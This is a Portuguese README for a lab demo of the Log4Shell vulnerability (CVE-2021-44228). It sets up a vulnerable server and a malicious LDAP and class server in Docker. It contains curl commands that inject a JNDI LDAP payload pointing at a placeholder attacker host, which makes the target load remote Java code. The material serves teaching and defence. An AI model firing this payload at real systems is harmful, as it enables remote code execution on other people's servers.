
Demonstração para mostrar como a vulnerabilidade Log4Shell / CVE-2021-44228 funciona
Este projeto visa demonstrar como funciona a vulnerabilidade Log4Shell / CVE-2021-44228.
Você só precisa ter o Docker instalado. Idealmente, você tem duas máquinas virtuais diferentes. Uma para o servidor vulnerável e outra para o servidor malicioso que hospedará a base de código maliciosa e um servidor LDAP.
Opcionalmente, você tem Make e Docker Compose instalados, mas isso não é necessário, já que este repositório também contém um make.sh para ignorar esses requisitos e usá-los a partir de um container Docker.
Se ainda não o fez, aqui estão os passos para instalar o Docker em uma VM Debian. Você pode usar estes passos: https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46
git clone [email protected]:mschmnet/Log4Shell-demo.git
cd vulnerable-server
../make.sh run # Ou você poderia executar make run se tivesse Make e Docker Compose instalados
Isso iniciará um servidor LDAP básico e um servidor Python básico para servir as classes Java maliciosas.
Você precisa fornecer o endereço IP ou nome de domínio onde esses servidores estarão disponíveis
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Opcionalmente make em vez de ../make.sh se você tivesse Make e Docker Compose instalados
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint
ou apenas
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
onde ${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a} está apenas codificado em URL
../make.sh stop
../make.sh logs
https://raw.githubusercontent.com/mschmnet/Log4Shell-demo/main/pdf/slides.pdf